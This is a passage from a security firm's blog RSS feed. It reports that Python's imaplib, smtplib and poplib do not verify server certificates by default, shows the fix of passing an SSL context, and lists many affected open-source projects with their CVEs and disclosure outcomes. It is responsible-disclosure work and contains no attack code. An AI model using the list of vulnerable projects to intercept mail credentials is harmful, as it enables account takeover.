&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-20" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-20" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-20"&gt;&lt;/a&gt;        &lt;span class="c1"&gt;# no explicit cafile, capath or cadata but the verify mode is&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-21" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-21" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-21"&gt;&lt;/a&gt;        &lt;span class="c1"&gt;# CERT_OPTIONAL or CERT_REQUIRED. Let's try to load default system&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-22" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-22" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-22"&gt;&lt;/a&gt;        &lt;span class="c1"&gt;# root CA certificates for the given purpose. This may fail silently.&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-23" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-23" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-23"&gt;&lt;/a&gt;        &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_default_certs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;purpose&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Not checking certificates explains why the vulnerable example client in the beginning just continued connecting and sent credentials to another mail server or to the entity that pretends to be one.&lt;/p&gt;
&lt;p&gt;How could that be avoided? Just create an SSL context and pass it to the constructor as an additional parameter (examples for each library):&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_77092f9e161f4323a6a7b7625555ddc0-1" name="rest_code_77092f9e161f4323a6a7b7625555ddc0-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_77092f9e161f4323a6a7b7625555ddc0-1"&gt;&lt;/a&gt;&lt;span class="n"&gt;imaplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IMAP4_SSL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_default_context&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;a id="rest_code_77092f9e161f4323a6a7b7625555ddc0-2" name="rest_code_77092f9e161f4323a6a7b7625555ddc0-2" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_77092f9e161f4323a6a7b7625555ddc0-2"&gt;&lt;/a&gt;&lt;span class="n"&gt;smtplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SMTP_SSL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_default_context&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;a id="rest_code_77092f9e161f4323a6a7b7625555ddc0-3" name="rest_code_77092f9e161f4323a6a7b7625555ddc0-3" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_77092f9e161f4323a6a7b7625555ddc0-3"&gt;&lt;/a&gt;&lt;span class="n"&gt;poplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POP3_SSL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_default_context&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;By the way, did you noticed the different parameter names for the SSL context?&lt;/p&gt;
&lt;/section&gt;
&lt;section id="implications"&gt;
&lt;h2&gt;Implications&lt;/h2&gt;
&lt;p&gt;The direct consequence is that a vulnerable Python program that uses the libraries in a vulnerable way may leak credentials for an IMAP or SMTP account (or POP3) to an active attacker in a MITM position. A script may only use SMTP, but often SMTP and IMAP credentials are identical and therefore may result in IMAP being accessed, too. Furthermore, if an e-mail is sent via SMTP, mail contents may leak or could be modified during transit. Due to the flexibility of IMAP, not only mail contents may be retrieved, but also modified or deleted before another, legitimate user can access it. Since a library is affected here, the exact impact depends on the use case of the software that uses the library and it will depend on the type of data being processed via e-mail. Another impact is that with access to e-mail infrastructure, the reachable attack surface increases for the attacker. Access to e-mail infrastructure may be abused for phishing attacks and spamming, for example.&lt;/p&gt;
&lt;p&gt;If there is the need to create an &lt;code class="docutils literal"&gt;SSLContext&lt;/code&gt; to enable certificate verification, will everyone have read the documentation? Sadly, there are even tutorials not mentioning the SSL context and ChatGPT won’t tell the full story until one asks... erm... demonstrates prompt engineering skills.&lt;/p&gt;
&lt;p&gt;We can use code search engines such as &lt;a class="reference external" href="https://grep.app/"&gt;grep.app&lt;/a&gt;, &lt;a class="reference external" href="https://searchcode.com/"&gt;search code&lt;/a&gt;, and &lt;a class="reference external" href="https://codesearch.debian.net/"&gt;Debian Code Search&lt;/a&gt;, looking for constructor calls to &lt;code class="docutils literal"&gt;imaplib.IMAP4_SSL&lt;/code&gt; and &lt;code class="docutils literal"&gt;smtplib.SMTP_SSL&lt;/code&gt; and skim through the source code. Skipping testing code, inactive and some personal code repositories, it is possible to find quite some vulnerable uses. A curated list is given at the end of this article.&lt;/p&gt;
&lt;p&gt;We found vulnerabilities in code that is covered by bug bounty programs. For example, we found a vulnerability in an &lt;a class="reference external" href="https://github.com/google/gmail-oauth2-tools/blob/876a8bd965752e1f6f2a97a7005da6a23c18d5b5/python/oauth2.py"&gt;OAuth2 Python script by Google&lt;/a&gt;, where a connection to an SMTP/IMAP server is made to test if authentication tokens are valid. We &lt;a class="reference external" href="https://bughunters.google.com/reports/vrp/Fed1oa3Ar/report"&gt;reported this&lt;/a&gt; to the Google and Alphabet Vulnerability Reward Program (VRP). They rewarded us with a small bounty. &lt;a class="brackets" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#footnote-1" id="footnote-reference-1" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;1&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt; We also filed vulnerability reports at Hackerone for Spotify and Mozilla, but they &lt;a class="brackets" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#footnote-2" id="footnote-reference-2" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;2&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt; don't see a problem with not checking server certificates and closed the tickets. The vulnerability in Spotify's Luigi project &lt;a class="reference external" href="https://github.com/python/cpython/issues/91826#issuecomment-1106693852"&gt;has been found before&lt;/a&gt;, but was likely not reported back then. We were able to report the vulnerability in Mozilla's Bugbot via another channel and it was fixed.&lt;/p&gt;
&lt;p&gt;We tried to contact most of the projects, where it was somehow possible to find (security) contact data. Some of them were very happy to receive the report and immediately provided a fix.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="necessary-conclusion-to-draw"&gt;
&lt;h2&gt;Necessary conclusion to draw&lt;/h2&gt;
&lt;p&gt;It is understandable to prefer not to break existing functionality. We all know ecosystems in software engineering, where things break every now and then. But keeping insecure defaults is not a value that makes sense to get preserved. It is a vulnerability. If a security issue is only documented in the fine print, developers will miss it and will write vulnerable code. RTFM is not an excuse. You don't build unavoidable trip traps and urge caution.&lt;/p&gt;
&lt;p&gt;Over a year ago, &lt;a class="reference external" href="https://github.com/python/cpython/issues/91826"&gt;a ticket was opened in the Cpython project&lt;/a&gt; to change the default behaviour of these e-mail libraries, in other words to be secure by default. We are really looking forward to the ticket being implemented and closed.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-few-affected-tools-and-frameworks"&gt;
&lt;h2&gt;A few affected tools and frameworks&lt;/h2&gt;
&lt;p&gt;Infrastructure:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/ceph/ceph/blob/b111d8c6ba2142c5b1051876dd01c5d0453df762/src/pybind/mgr/alerts/module.py"&gt;Ceph: Ceph is a distributed object, block, and file storage platform&lt;/a&gt; – &lt;a class="reference external" href="https://github.com/ceph/ceph/security/advisories/GHSA-xj9f-7g59-m4jx"&gt;CVE-2024-31884 was assigned&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/saltstack/salt/blob/4d4901324709e49ad81f3903e86904f3855aec5e/salt/modules/smtp.py"&gt;Saltstack: Software to automate the management and configuration of any infrastructure or application at scale&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/ansible-collections/community.general/blob/13e9e4b1960f0a09c954bfb6a64a4b4ac0358fd7/plugins/modules/mail.py"&gt;Ansible collections: This repository contains the community.general Ansible Collection. The collection is a part of the Ansible package and includes many modules and plugins supported by Ansible community which are not part of more specialized community collections.&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/Kraken-CI/kraken/blob/550cba67b48a61694299265ebfc84b708ba145c0/server/kraken/server/notify.py"&gt;Kraken CI is a continuous integration and testing system,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/matrix-org/sydent/blob/3c05e11933f2d7a0b6d1a828ba6bb2780eda2ebe/sydent/util/emailutils.py"&gt;Sydent is an identity server for the Matrix communications protocol. It allows Matrix users to prove that they own an email address or phone number, and allows other Matrix users to look them up using that email address or phone number.&lt;/a&gt;. – CVE-2023-38686 was assigned. It is fixed and we made it to the &lt;a class="reference external" href="https://matrix.org/security-hall-of-fame/"&gt;Security Hall of Fame&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/openstack/zaqar/blob/2abe46ae21fe0fa83587328ffb2f44075d3a44fc/zaqar/notification/tasks/mailto.py"&gt;Openstack-Zaqar is a multi-tenant cloud messaging and notification service for web and mobile developers.&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/nagios-plugins/nagios-plugins/blob/f1710b882b53bf7a334f231817f57c43e89d2ff6/plugins-python/check_imap_login.in"&gt;Nagios plugin check_imap_login,&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/linnea-s/check_imap_login/blob/master/check_imap_login"&gt;but there is an improved version that can be used with a context&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Frameworks:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/frappe/frappe/blob/927cd647e414c7e730eb050382b67f07bcadf6a4/frappe/email/doctype/email_domain/email_domain.py"&gt;Frappe: Low code web framework for real world applications, in Python and Javascript,&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/frappe/frappe/blob/347902ba96d52c3d472257d0ead57ab9dfc8fba8/frappe/email/receive.py"&gt;at several places&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/apache/arrow/blob/6cfd143d344e536978a8721f726415783322bb17/dev/archery/archery/crossbow/reports.py"&gt;Apache Arrow is a multi-language toolbox for accelerated data interchange and in-memory processing,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Apache Airflow - A platform to programmatically author, schedule, and monitor workflows, affected components are &lt;a class="reference external" href="https://github.com/apache/airflow/blob/e45bee884068399e7265421511e17fed106ce5b4/airflow/providers/smtp/hooks/smtp.py"&gt;smtp.py&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/apache/airflow/blob/9d0006fb9ee9c1b4742613fa3c1e82064eda6ba8/airflow/utils/email.py"&gt;email.py&lt;/a&gt; and &lt;a class="reference external" href="https://github.com/apache/airflow/blob/1240dcc167c4b47331db81deff61fc688df118c2/airflow/providers/imap/hooks/imap.py"&gt;imap.py&lt;/a&gt;. – Code is fixed and released with 2.7.0. CVE-2023-39441 was assigned to this.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/zvtvz/zvt/blob/5391df8d74bd9a71863eaeaa77aebd373e33d773/src/zvt/informer/informer.py"&gt;zvt: modular quant framework&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/ikvk/imap_tools/blob/a7c03737a61bf49542aa8b517956285e2e3a388b/imap_tools/mailbox.py"&gt;Python library imap_tools: Work with email by IMAP&lt;/a&gt;. – The library itself provides an option to pass a SSL context to MailBoxTls(), but if this parameter is not used, it is also insecure by default. &lt;a class="reference external" href="https://github.com/paperless-ngx/paperless-ngx/blob/b715e4d426f598694d50b46e3e60108d24649eda/src/paperless_mail/mail.py"&gt;This made Paperless-NGX vulnerable&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/pallets-eco/flask-mail/blob/f4dfa2a8a22d39caae08d571859233fed931935b/src/flask_mail/__init__.py"&gt;Flask-Mail: Flask-Mail adds SMTP mail sending to your Flask applications&lt;/a&gt;. – We made a &lt;a class="reference external" href="https://github.com/pallets-eco/flask-mail/pull/241"&gt;pull request to fix the problem&lt;/a&gt;, but it was not accepted yet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/spotify/luigi/blob/ff7b57622feafa4615bd945daee04b9a70125933/luigi/notifications.py"&gt;Luigi is a Python module that helps you build complex pipelines of batch jobs. It handles dependency resolution, workflow management, visualization etc. It also comes with Hadoop support built in.&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Security:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/LinOTP/LinOTP/blob/1aa6184b9260583d76ec353f159ce8a7ae1474fb/linotp/provider/smsprovider/SmtpSMSProvider.py"&gt;LinOTP: The open source solution for two factor authentication,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/rsmusllp/king-phisher/blob/2fdc70e2bafff44418e8507c0c4a4f847c76a81e/king_phisher/client/mailer.py"&gt;King phisher: Phishing Campaign Toolkit,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/secureworks/squarephish/blob/9fe299faeb9994982cadf58e3d8e1b4d765a06b0/squarephish/modules/emailer.py"&gt;SquarePhish is an advanced phishing tool that uses a technique combining the OAuth Device code authentication flow and QR codes.&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/CIRCL/AIL-framework/blob/9b2e8718d7c366210038502d9e1c66cf62040c1b/bin/exporter/MailExporter.py"&gt;AIL Project is an open source project to collect and analyse data to produce security intelligence,&lt;/a&gt; – It is fixed now.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/examples/ntlmrelayx/clients/imaprelayclient.py"&gt;Impacket:&lt;/a&gt; – This could also be a feature to be insecure.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Community:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/readthedocs/readthedocs.org/blob/3cb03add2a2b8d743d206d4f5ffe5b8fc6aa2bbe/readthedocs/core/backends.py"&gt;The source code that powers readthedocs.org,&lt;/a&gt; – According to the project, this is dead code. It was removed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/mozilla/bugbot/blob/c71bf4c19dd44a4740545dd2013ebada7af27f1e/bugbot/mail.py"&gt;A Mozilla release management tool to send reminders to Firefox developers and improve Bugzilla metadata,&lt;/a&gt; – It is &lt;a class="reference external" href="https://github.com/mozilla/bugbot/commit/a031475c10ad1f7179755cc1592a1d2be158b3fa"&gt;fixed now&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;End-user tools:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/LibreOffice/core/blob/cd973e75fa55e3b2703757b1901e9ce644881be9/scripting/source/pyprov/mailmerge.py"&gt;LibreOffice: mailmerge script&lt;/a&gt; – Fixed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/awdeorio/mailmerge/blob/ac7c89d2bb90fdf766ce9010177e1b34310be0b4/mailmerge/sendmail_client.py"&gt;Mailmerge: A simple, command line mail merge tool.&lt;/a&gt; – Fixed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/janeczku/calibre-web/blob/43ee85fbb5d05340a792ab8de467381009ce80a7/cps/tasks/mail.py"&gt;Calibre-Web: Web app for browsing, reading and downloading eBooks stored in a Calibre database,&lt;/a&gt; – Fixed now.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/vertexproject/synapse/blob/ab07d7c1b36c8c590d14226a38d9e25b37441776/synapse/lib/stormlib/imap.py"&gt;Synapse is a versatile central intelligence system created to support analyst teams in every stage of the intelligence life cycle,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/django-helpdesk/django-helpdesk/blob/c23c8e5be6d5be498cd7877b0e0e29072461c49d/helpdesk/email.py"&gt;Django Helpdesk: A Django application to manage tickets for an internal helpdesk. Formerly known as Jutda Helpdesk,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OAuth2 clients:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/google/gmail-oauth2-tools/blob/876a8bd965752e1f6f2a97a7005da6a23c18d5b5/python/oauth2.py"&gt;Google OAuth2 python client,&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/imapsync/imapsync/blob/master/oauth2/oauth2_google.py"&gt;for example used in&lt;/a&gt; – Pentagrid filed a bug report for this in the Google and Alphabet Vulnerability Reward Program (VRP) as described above. It is fixed now.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/muttmua/mutt/-/blob/7c4fa47888d0dee4529f3a521bec76420528776e/contrib/mutt_oauth2.py"&gt;A contributed script to the Mutt mail client,&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/joestump/python-oauth2/blob/master/oauth2/clients/imap.py"&gt;python-oauth2: A fully tested, abstract interface to creating OAuth clients and servers.&lt;/a&gt; – Listed here, but it is an unmaintained project.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;aside class="footnote-list brackets"&gt;
&lt;aside class="footnote brackets" id="footnote-1" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#footnote-reference-1"&gt;1&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;While submitting a vulnerability report to the Google Vulnerability Reward Program (VRP) felt like the most clear and straightforward process ever invented, it drastically changed afterwards, when it came to coordinating the publication or the payout. There was no to no clear communication afterwards how and when the publication happens. The process just stuck. The reported issue was fixed on 24 July 2023 in the source code. Update 2025-06: Finally, the report was made public and the bounty paid.&lt;/p&gt;
&lt;/aside&gt;
&lt;aside class="footnote brackets" id="footnote-2" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#footnote-reference-2"&gt;2&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;Technically, it was the Hackerone triage team, but they act for their customers and they represent their clients towards the vulnerability submitters. When the triage team decides there is no risk – possibly under the context that they are trained to close as many non-reports as possible – then their client won't see the risk, too. That is one of the &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/interview-about-penetration-testing-vs-bug-bounty-programs/"&gt;drawbacks of bug bounty programs compared to penetration testing&lt;/a&gt;.&lt;/p&gt;
&lt;/aside&gt;
&lt;/aside&gt;
&lt;/section&gt;</description><category>API</category><category>Bug Bounty</category><category>Certificate Verification</category><category>Encryption</category><category>Operational Security</category><category>Python</category><category>Vulnerability</category><guid>https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/</guid><pubDate>Tue, 14 Nov 2023 09:23:00 GMT</pubDate></item><item><title>Hello, World</title><link>https://www.pentagrid.ch/en/blog/hello-world/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;Finally, we founded the Pentagrid AG to provide IT security assessments to customers and now our website is also operational. We will use this blog for things we want to share with our audience, for example tools we release and security advisories on vulnerabilities we find during our work and research projects.&lt;/p&gt;
&lt;p&gt;You will find us as well on Twitter under &lt;a class="reference external" href="https://twitter.com/pentagridsec"&gt;@pentagridsec&lt;/a&gt; and on &lt;a class="reference external" href="https://github.com/pentagridsec"&gt;Github&lt;/a&gt;.&lt;/p&gt;</description><guid>https://www.pentagrid.ch/en/blog/hello-world/</guid><pubDate>Wed, 31 Jul 2019 21:42:05 GMT</pubDate></item></channel></rss>